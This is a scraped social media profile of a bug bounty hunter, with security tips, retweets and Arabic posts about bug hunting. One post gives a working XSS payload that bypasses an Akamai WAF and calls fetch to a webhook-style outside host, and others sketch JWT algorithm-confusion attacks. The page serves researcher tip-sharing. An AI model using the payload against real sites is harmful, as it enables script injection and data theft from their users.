@HitmanF15 profile picture
HitmanAlharbi @HitmanF15

Programmer, bug hunter and security researcher

Joined September 2012
  • Tweets 5,570
  • Following 217
  • Followers 15,094
823 Photos and videos
This is the best AI for bug hunting 🫡 @BugBunny_ai
1
2
14
959
I feel boring lonely 🥱 If u are pro and look for collab Please let me know
1
1
24
2,073
HitmanAlharbi retweeted
TrendAI Zero Day Initiative
@thezdi
May 15
Aaaand it's official! Orange Tsai (@orange_8361) of DEVCORE Research Team chained 3 bugs to achieve Remote Code Execution as SYSTEM on Microsoft Exchange, earning a whooping $200,000 and 20 Master of Pwn points. Full win! #Pwn2Own #P2OBerlin
29
183
1,548
268,990
When the company team knows what they’re doing and treats people fairly ❤️
4
3
111
7,305
HitmanAlharbi retweeted
oxflask
@oxflask
Apr 12
x.com/i/article/204327723523…

26
23
290
31,914
من الناس المبدعين في البق هنتينق 👍🏻❤️
oxflask
@oxflask
Apr 1
x.com/i/article/203880793788…
1
7
78
12,361
How long should you test a target? Many bugs hunters test for a few hours and move on But some bugs only appear after spending real time on the target I’ve found issues in a week, and others in months ⏱️ The more time you spend, the better you understand the target
12
1,515
⚡️ Fuzzing tip Don’t rely only on tools like wfuzz when fuzzing URLs - Use Burp Suite or similar tools Sometimes you’ll get 404, but the reaponse headers can reveal the endpoint actually exists and just needs additional headers or parameters #bugbountytips
1
2
74
4,122
5 private invites in a one day! This only happens with @Bugcrowd
2
74
3,487
Hint: Treat this CTF as a real-world target! (BTW there is an automated bot simulates the administrator’s behavior)
HitmanAlharbi@HitmanF15
Feb 22
Psycho CTF challenge 😵‍💫 Real attack I already faced in real world ctfing.net:3000 Enjoy ❤️
1
8
2,521
Psycho CTF challenge 😵‍💫 Real attack I already faced in real world ctfing.net:3000 Enjoy ❤️
3
3
17
4,361
New style
14
1,550
Jan is a good month ❤️ Btw I don’t work on VDPs 🙄 Thanks @Bugcrowd
6
63
4,356
XSS using fetch (Bypass Akamai WAF) javascript:for(k in self)if(k.length==5&&/fetc/.test(k))for(f in self)if(f==k)self[f]`https://webhook` #bugbounty #bugbountytips
5
46
3,922
اي احد يسوي موقع بالـ AI ياليت لا يتفلسف ويقول برمجت موقع لانك فعليا ماسويت اي شيء ، مو طبيعي كمية التغريدات كل واحد مسوي موقع ويهايط فيه وكلهم نفس التصميم حق جي بي تي ، ماني ضد الذكاء الاصطناعي بس برضوا ماني مع الاعتماد عليه كليا لانه بيحرمك فرصة التعليم
1
3
19
4,329
New React CVE is a trash Don’t make it sound like it affects all React apps!
5
2,139
خلاص عرفت
HitmanAlharbi@HitmanF15
28 Nov 2025
كيف اخلي الهيدر يطلع برا الهيدر؟
3
1
16
16,402
كيف اخلي الهيدر يطلع برا الهيدر؟
1
1
5
20,049
كفاية Weak JWT secret ✋🏻 اشوفها فعليا شبه منتهية حاليا اغلب المنصات تنشأ راندوم كي مايتخمن - ركزوا على هجمات algorithm conversion - او حاولوا تشوفوا الموقع كيف يتحقق من السيقنتشر ، ترا كثير مواقع لاحظت انه بعض الاندبوينتس ماتتحقق من السيقنتشر ، وهذا يصير بسبب تعدد المبرمجين عندهم
2
5
53
6,773
HitmanAlharbi retweeted
ELDEN RING
@ELDENRING
11 Nov 2025
In our war against the Night, every battle left a scar. These wounds were given will. A foul life, born of cast-away souls. Steel your resolve, Nightfarers. This hunt must be seen to its end. #ELDENRING #NIGHTREIGN The Forsaken Hollows launches on December 4, 2025.
1:50
622
7,341
29,821
4,147,714
Load more